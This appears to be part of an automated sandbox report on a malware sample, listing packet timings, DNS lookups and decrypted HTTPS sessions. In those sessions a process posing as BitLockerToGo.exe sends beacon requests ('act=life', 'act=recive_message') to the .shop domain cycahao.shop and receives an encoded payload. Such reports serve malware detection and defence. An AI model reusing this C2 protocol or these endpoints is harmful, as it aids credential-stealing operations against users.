Dec 27, 2024 08:20:35.640275002 CET	49761	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:35.725630045 CET	443	49761	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:35.729789019 CET	443	49761	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:35.729854107 CET	49761	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:35.729870081 CET	443	49761	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:35.730047941 CET	443	49761	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:35.730098963 CET	49761	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:35.730104923 CET	443	49761	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:35.730149984 CET	443	49761	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:35.730197906 CET	49761	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:35.730259895 CET	49761	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:35.730283022 CET	443	49761	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:35.730293036 CET	49761	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:35.730298996 CET	443	49761	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:35.849680901 CET	49767	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:35.849731922 CET	443	49767	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:35.849855900 CET	49767	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:35.850152969 CET	49767	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:35.850167036 CET	443	49767	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:37.107300997 CET	443	49767	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:37.107387066 CET	49767	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:37.108697891 CET	49767	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:37.108704090 CET	443	49767	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:37.108938932 CET	443	49767	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:37.110656977 CET	49767	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:37.110774040 CET	49767	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:37.110806942 CET	443	49767	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:37.931690931 CET	443	49767	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:37.931792021 CET	443	49767	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:37.931868076 CET	49767	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:37.932008028 CET	49767	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:37.932018995 CET	443	49767	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:38.055432081 CET	49773	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:38.055475950 CET	443	49773	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:38.055546045 CET	49773	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:38.055896997 CET	49773	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:38.055907965 CET	443	49773	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:39.415868998 CET	443	49773	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:39.415937901 CET	49773	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:39.417216063 CET	49773	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:39.417228937 CET	443	49773	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:39.417447090 CET	443	49773	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:39.418689966 CET	49773	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:39.418826103 CET	49773	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:39.418848991 CET	443	49773	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:39.418906927 CET	49773	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:39.418911934 CET	443	49773	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:40.227823973 CET	443	49773	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:40.227910042 CET	443	49773	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:40.228107929 CET	49773	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:40.228122950 CET	49773	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:40.452939987 CET	49779	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:40.452977896 CET	443	49779	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:40.453066111 CET	49779	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:40.453430891 CET	49779	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:40.453447104 CET	443	49779	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:41.713898897 CET	443	49779	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:41.713968992 CET	49779	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:41.715305090 CET	49779	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:41.715320110 CET	443	49779	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:41.715553045 CET	443	49779	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:41.716696024 CET	49779	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:41.717051029 CET	49779	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:41.717072010 CET	443	49779	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:41.717129946 CET	49779	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:41.717135906 CET	443	49779	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:42.606658936 CET	443	49779	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:42.606785059 CET	443	49779	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:42.606848001 CET	49779	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:42.606986046 CET	49779	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:42.607002020 CET	443	49779	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:42.828325987 CET	49785	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:42.828358889 CET	443	49785	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:42.828460932 CET	49785	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:42.828727961 CET	49785	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:42.828744888 CET	443	49785	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:44.155941963 CET	443	49785	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:44.156008959 CET	49785	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:44.157394886 CET	49785	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:44.157399893 CET	443	49785	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:44.157617092 CET	443	49785	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:44.159008026 CET	49785	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:44.159102917 CET	49785	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:44.159107924 CET	443	49785	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:44.906394958 CET	443	49785	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:44.906485081 CET	443	49785	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:44.906546116 CET	49785	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:44.906649113 CET	49785	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:44.906663895 CET	443	49785	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:45.369602919 CET	49791	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:45.369662046 CET	443	49791	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:45.369760036 CET	49791	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:45.370138884 CET	49791	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:45.370171070 CET	443	49791	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:46.581720114 CET	443	49791	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:46.581923008 CET	49791	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:46.583044052 CET	49791	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:46.583058119 CET	443	49791	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:46.583302021 CET	443	49791	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:46.592448950 CET	49791	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:46.593169928 CET	49791	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:46.593209028 CET	443	49791	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:46.593301058 CET	49791	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:46.593333960 CET	443	49791	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:46.593445063 CET	49791	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:46.593486071 CET	443	49791	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:46.593596935 CET	49791	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:46.593627930 CET	443	49791	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:46.593713999 CET	49791	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:46.593744040 CET	443	49791	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:46.593871117 CET	49791	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:46.593897104 CET	443	49791	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:46.593904972 CET	49791	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:46.594036102 CET	49791	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:46.594064951 CET	49791	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:46.639333963 CET	443	49791	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:46.639507055 CET	49791	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:46.639540911 CET	49791	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:46.639548063 CET	49791	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:46.687381983 CET	443	49791	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:46.687596083 CET	49791	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:46.687647104 CET	49791	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:46.687669992 CET	49791	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:46.731332064 CET	443	49791	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:46.731436014 CET	49791	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:46.775338888 CET	443	49791	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:46.952884912 CET	443	49791	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:48.754611015 CET	443	49791	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:48.754724979 CET	443	49791	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:48.754817009 CET	49791	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:48.759172916 CET	49791	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:48.759196043 CET	443	49791	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:48.768770933 CET	49801	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:48.768805981 CET	443	49801	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:48.768872023 CET	49801	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:48.769167900 CET	49801	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:48.769186974 CET	443	49801	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:50.072513103 CET	443	49801	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:50.072640896 CET	49801	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:50.073941946 CET	49801	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:50.073955059 CET	443	49801	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:50.074481964 CET	443	49801	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:50.077554941 CET	49801	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:50.077574015 CET	49801	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:50.077645063 CET	443	49801	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:50.846494913 CET	443	49801	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:50.846601963 CET	443	49801	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:50.846664906 CET	49801	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:50.846854925 CET	49801	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:50.846868992 CET	443	49801	172.67.135.139	192.168.2.6
Dec 27, 2024 08:20:50.846879959 CET	49801	443	192.168.2.6	172.67.135.139
Dec 27, 2024 08:20:50.846887112 CET	443	49801	172.67.135.139	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 08:20:31.189614058 CET	56750	53	192.168.2.6	1.1.1.1
Dec 27, 2024 08:20:31.508225918 CET	53	56750	1.1.1.1	192.168.2.6
Dec 27, 2024 08:20:50.848031998 CET	58370	53	192.168.2.6	1.1.1.1
Dec 27, 2024 08:20:51.070208073 CET	53	58370	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 27, 2024 08:20:31.189614058 CET	192.168.2.6	1.1.1.1	0x67c6	Standard query (0)	cycahao.shop	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:20:50.848031998 CET	192.168.2.6	1.1.1.1	0x3fa7	Standard query (0)	kliptizq.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 27, 2024 08:20:31.508225918 CET	1.1.1.1	192.168.2.6	0x67c6	No error (0)	cycahao.shop		172.67.135.139	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:20:31.508225918 CET	1.1.1.1	192.168.2.6	0x67c6	No error (0)	cycahao.shop		104.21.7.3	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:20:51.070208073 CET	1.1.1.1	192.168.2.6	0x3fa7	Name error (3)	kliptizq.shop	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

cycahao.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49754	172.67.135.139	443	612	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:32 UTC	259	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cycahao.shop
2024-12-27 07:20:32 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-27 07:20:33 UTC	1042	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:20:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4fvirs1voh2n68oo8dtmldhmin; expires=Tue, 22-Apr-2025 01:07:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tupLEinVAoY%2B6I1BRqHaQDc4%2FdaQWDg%2BBuhK%2B%2Bus2%2BI7h3pzTGN5dppluz6sdi%2BxLsi04VK8k7tzX56WK7Hi%2B6GMDoDyxXkJ9sPy6oY%2BE4UfhVfA6iUcOKPWBZ00l8g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f878c7659040cb2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1649&min_rtt=1633&rtt_var=644&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2825&recv_bytes=903&delivery_rate=1658148&cwnd=152&unsent_bytes=0&cid=196a0bf93f7449b5&ts=713&x=0"
2024-12-27 07:20:33 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-27 07:20:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49761	172.67.135.139	443	612	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:34 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 78 Host: cycahao.shop
2024-12-27 07:20:34 UTC	78	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 68 52 6a 7a 47 33 2d 2d 56 49 4b 41 26 6a 3d 66 62 33 64 65 30 39 36 65 37 62 66 31 66 39 65 61 32 36 30 36 30 64 34 63 66 61 39 33 39 65 62 Data Ascii: act=recive_message&ver=4.0&lid=hRjzG3--VIKA&j=fb3de096e7bf1f9ea26060d4cfa939eb
2024-12-27 07:20:35 UTC	1026	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:20:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gdu9sk7h050g4ko6esbf3ahonr; expires=Tue, 22-Apr-2025 01:07:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Bj0FuJEPG6xAMSW7HdtrsxiiOhdTOq2ZRqHtdYuU8LZMsJ5LFAW1OAaSjYl0%2BeiqssNwFDaT1Gv3YyEJ2zFUYoOHgnNXaipwcLFvdXtbJ1EL6FMKWvMVhSUpfh8Kt5U%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f878c832de44213-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1630&min_rtt=1628&rtt_var=612&sent=7&recv=9&lost=0&retrans=0&sent_bytes=2825&recv_bytes=974&delivery_rate=1793611&cwnd=229&unsent_bytes=0&cid=5908e4ec52831cf9&ts=819&x=0"
2024-12-27 07:20:35 UTC	343	IN	Data Raw: 32 64 63 61 0d 0a 57 59 77 6d 52 51 79 69 47 69 5a 57 48 65 57 32 67 76 7a 6b 50 50 76 68 65 35 6d 6d 4e 66 70 34 57 45 39 43 55 45 6d 6e 4c 7a 6f 69 72 6c 42 6e 4e 70 59 32 42 43 56 34 78 34 7a 32 6a 70 46 5a 31 38 4d 61 2f 59 51 50 6e 42 6b 30 50 43 64 38 61 39 46 43 47 47 50 71 52 79 6c 2f 78 7a 59 45 4d 32 58 48 6a 4e 6d 48 78 6c 6d 56 77 30 47 37 77 31 2b 59 47 54 51 74 49 7a 73 6d 31 30 4e 5a 4d 65 42 42 4c 57 6e 42 66 6b 63 36 63 49 44 54 35 35 32 4f 55 70 4b 4d 45 2f 53 45 47 64 67 64 49 6d 31 34 63 67 54 43 57 31 73 55 37 56 55 75 4c 74 38 32 58 58 52 34 69 35 53 34 33 6f 56 5a 6d 59 30 64 2f 63 31 64 6b 68 41 38 4c 43 59 36 4f 63 35 4a 55 6a 48 75 51 69 78 6a 79 47 70 4b 4d 48 65 4c 31 65 32 64 78 68 44 5a 68 41 47 37 6e 42 66 4c 4b 44 6b 38 4d Data Ascii: 2dcaWYwmRQyiGiZWHeW2gvzkPPvhe5mmNfp4WE9CUEmnLzoirlBnNpY2BCV4x4z2jpFZ18Ma/YQPnBk0PCd8a9FCGGPqRyl/xzYEM2XHjNmHxlmVw0G7w1+YGTQtIzsm10NZMeBBLWnBfkc6cIDT552OUpKME/SEGdgdIm14cgTCW1sU7VUuLt82XXR4i5S43oVZmY0d/c1dkhA8LCY6Oc5JUjHuQixjyGpKMHeL1e2dxhDZhAG7nBfLKDk8M
2024-12-27 07:20:35 UTC	1369	IN	Data Raw: 38 4a 42 47 47 4f 75 51 69 6c 76 7a 58 68 57 50 48 53 4d 30 66 4b 56 6a 31 4f 55 67 78 54 78 79 31 53 59 48 54 41 6e 4c 7a 67 76 79 45 42 65 4f 2b 34 45 61 53 37 48 59 41 52 73 50 36 54 52 38 4a 6d 4b 53 4e 75 35 57 65 53 4b 54 74 67 64 4e 6d 31 34 63 69 50 41 54 6c 73 77 34 55 63 76 5a 64 4a 34 56 6a 4a 79 67 73 62 6d 6d 34 68 55 6d 70 45 54 39 63 4a 55 6b 52 45 7a 4b 43 63 32 61 34 73 4e 58 79 4f 75 48 47 64 50 7a 58 4e 49 50 6d 69 48 6c 50 2f 51 6e 78 36 65 6a 31 6d 6a 68 46 4f 5a 48 6a 73 70 4c 6a 77 76 79 55 74 57 4e 75 46 43 4c 57 37 48 63 6b 77 38 66 6f 72 66 37 35 36 44 55 35 32 46 46 66 72 42 46 39 5a 61 50 54 56 67 61 6d 76 72 53 6c 73 70 72 48 45 6b 59 4d 35 2f 55 6e 52 67 79 63 32 67 6d 59 6f 65 77 63 4d 58 2f 73 74 46 6d 51 67 2f 49 7a 49 2b Data Ascii: 8JBGGOuQilvzXhWPHSM0fKVj1OUgxTxy1SYHTAnLzgvyEBeO+4EaS7HYARsP6TR8JmKSNu5WeSKTtgdNm14ciPATlsw4UcvZdJ4VjJygsbmm4hUmpET9cJUkREzKCc2a4sNXyOuHGdPzXNIPmiHlP/Qnx6ej1mjhFOZHjspLjwvyUtWNuFCLW7Hckw8forf756DU52FFfrBF9ZaPTVgamvrSlsprHEkYM5/UnRgyc2gmYoewcMX/stFmQg/IzI+
2024-12-27 07:20:35 UTC	1369	IN	Data Raw: 38 77 72 48 45 6b 59 4d 35 2f 55 6e 52 67 79 63 32 67 6d 59 6f 65 77 63 4d 55 38 38 46 53 6c 78 73 77 49 79 55 34 4a 38 31 44 57 79 6e 68 51 43 64 69 79 48 4a 4a 4f 6e 75 50 33 65 75 56 67 46 36 59 69 56 6d 31 68 46 43 41 57 6d 4a 74 46 44 55 6e 79 45 49 61 44 75 31 4b 4b 57 6e 57 4f 46 74 36 5a 73 66 54 37 4e 37 65 48 70 57 4b 47 66 44 4f 55 35 67 64 4e 79 67 6a 4e 53 6a 49 53 6c 49 31 36 55 41 72 5a 38 31 2b 52 44 4e 37 67 73 62 6c 6c 34 70 53 32 63 31 5a 2f 4e 77 58 77 46 6f 56 4b 6a 59 78 42 4d 5a 63 55 58 76 78 43 6a 34 75 78 33 51 45 62 44 2b 41 30 65 69 56 67 46 61 5a 6b 52 7a 31 7a 31 61 53 48 44 73 67 4c 44 51 72 78 45 31 65 4e 2b 35 44 49 48 7a 53 66 55 49 6d 64 63 65 61 6f 4a 6d 65 48 73 48 44 4c 2b 76 54 52 6f 35 59 44 79 34 75 50 43 7a 54 44 Data Ascii: 8wrHEkYM5/UnRgyc2gmYoewcMU88FSlxswIyU4J81DWynhQCdiyHJJOnuP3euVgF6YiVm1hFCAWmJtFDUnyEIaDu1KKWnWOFt6ZsfT7N7eHpWKGfDOU5gdNygjNSjISlI16UArZ81+RDN7gsbll4pS2c1Z/NwXwFoVKjYxBMZcUXvxCj4ux3QEbD+A0eiVgFaZkRz1z1aSHDsgLDQrxE1eN+5DIHzSfUImdceaoJmeHsHDL+vTRo5YDy4uPCzTD
2024-12-27 07:20:35 UTC	1369	IN	Data Raw: 43 4b 6d 76 50 63 6c 59 38 63 59 72 66 37 35 57 55 58 70 53 48 46 66 2f 4d 58 4a 4a 61 64 47 30 6e 4b 6d 75 64 44 57 30 32 34 55 51 6b 65 49 42 6e 43 69 30 2f 67 4e 69 67 78 73 5a 53 6c 34 4d 57 39 38 68 63 6b 42 73 32 49 79 63 33 49 73 31 46 53 6a 72 71 54 43 5a 67 7a 33 6c 41 4d 58 71 44 30 2b 53 59 69 52 37 58 77 78 37 6a 68 41 2f 59 4e 52 30 59 59 68 4d 52 68 56 49 57 49 71 35 44 4b 79 36 59 4f 45 67 33 63 34 2f 62 35 70 65 4b 56 4a 43 49 46 66 44 41 57 35 45 66 50 43 77 6c 4e 79 72 42 51 56 49 39 37 55 63 6f 59 63 39 77 42 48 6f 2f 67 4d 79 67 78 73 5a 37 6a 6f 67 58 2f 59 52 49 31 67 4e 36 4b 69 78 79 63 34 56 42 55 54 33 6f 51 53 74 76 78 6e 42 42 50 48 75 47 30 75 61 64 69 56 71 63 67 68 62 2f 79 46 6d 53 47 7a 73 68 4b 7a 30 67 77 41 30 57 65 2b Data Ascii: CKmvPclY8cYrf75WUXpSHFf/MXJJadG0nKmudDW024UQkeIBnCi0/gNigxsZSl4MW98hckBs2Iyc3Is1FSjrqTCZgz3lAMXqD0+SYiR7Xwx7jhA/YNR0YYhMRhVIWIq5DKy6YOEg3c4/b5peKVJCIFfDAW5EfPCwlNyrBQVI97UcoYc9wBHo/gMygxsZ7jogX/YRI1gN6Kixyc4VBUT3oQStvxnBBPHuG0uadiVqcghb/yFmSGzshKz0gwA0We+
2024-12-27 07:20:35 UTC	1369	IN	Data Raw: 77 58 31 4f 4f 48 69 43 33 2b 2b 53 78 68 44 5a 68 41 47 37 6e 42 65 32 45 53 6b 36 49 7a 77 67 30 31 59 59 4a 4b 42 64 5a 32 6e 4d 4f 42 78 30 66 49 7a 66 35 4a 36 4b 58 70 32 4f 47 65 6e 4c 55 4a 38 54 4d 54 38 71 4e 53 7a 4f 52 56 4d 30 36 46 59 72 59 4e 4a 39 56 69 59 2f 79 5a 54 6e 68 73 59 47 32 62 55 65 36 39 52 55 32 69 73 73 4c 6a 59 35 4a 73 6b 4e 52 33 58 33 42 43 42 69 67 43 41 45 4d 6e 43 4f 31 2b 2b 66 6a 31 4b 55 68 68 44 2b 78 56 47 63 45 44 41 74 4a 6a 51 71 77 45 64 62 4f 75 52 4e 49 47 62 48 65 31 5a 30 4d 63 66 54 2b 4e 37 65 48 72 43 45 43 2f 58 55 46 34 64 55 49 32 30 6e 50 6d 75 64 44 56 77 78 34 55 41 67 59 73 5a 39 51 6a 6c 2b 69 4e 58 67 6b 59 4a 56 6b 49 55 59 39 73 46 61 6e 41 67 77 4a 69 38 2b 49 73 6c 41 47 48 57 75 51 7a 38 Data Ascii: wX1OOHiC3++SxhDZhAG7nBe2ESk6Izwg01YYJKBdZ2nMOBx0fIzf5J6KXp2OGenLUJ8TMT8qNSzORVM06FYrYNJ9ViY/yZTnhsYG2bUe69RU2issLjY5JskNR3X3BCBigCAEMnCO1++fj1KUhhD+xVGcEDAtJjQqwEdbOuRNIGbHe1Z0McfT+N7eHrCEC/XUF4dUI20nPmudDVwx4UAgYsZ9Qjl+iNXgkYJVkIUY9sFanAgwJi8+IslAGHWuQz8
2024-12-27 07:20:35 UTC	1369	IN	Data Raw: 54 4a 74 68 39 6e 71 6a 49 78 56 6e 49 34 55 39 73 64 52 6e 68 45 32 50 79 6b 79 4b 4d 34 4e 46 6e 76 70 58 47 63 32 67 46 74 54 49 6e 57 41 32 50 61 56 68 31 32 50 6a 67 6d 37 69 68 65 4a 48 53 74 74 65 43 51 37 30 6b 70 48 64 66 63 45 49 47 4b 41 49 41 51 79 64 6f 48 54 35 70 43 55 57 35 2b 4d 46 76 4c 4e 55 35 41 5a 4f 69 6b 6b 4e 53 37 47 51 56 4d 38 37 55 73 6a 5a 38 35 78 53 33 51 78 78 39 50 34 33 74 34 65 75 4a 67 61 39 38 6b 58 68 31 51 6a 62 53 63 2b 61 35 30 4e 56 44 58 72 52 43 31 6f 78 48 31 43 50 6e 71 48 33 2b 4f 52 67 6c 69 64 6a 42 6e 77 7a 56 61 65 48 7a 41 6d 4a 6a 38 6f 77 30 73 59 64 61 35 44 50 79 36 59 4f 47 51 76 63 6f 76 54 6f 49 48 49 52 39 6d 45 46 62 75 63 46 35 4d 57 50 69 6f 67 50 79 6a 4e 53 46 77 78 36 30 51 76 66 4d 68 34 Data Ascii: TJth9nqjIxVnI4U9sdRnhE2PykyKM4NFnvpXGc2gFtTInWA2PaVh12Pjgm7iheJHStteCQ70kpHdfcEIGKAIAQydoHT5pCUW5+MFvLNU5AZOikkNS7GQVM87UsjZ85xS3Qxx9P43t4euJga98kXh1QjbSc+a50NVDXrRC1oxH1CPnqH3+ORglidjBnwzVaeHzAmJj8ow0sYda5DPy6YOGQvcovToIHIR9mEFbucF5MWPiogPyjNSFwx60QvfMh4
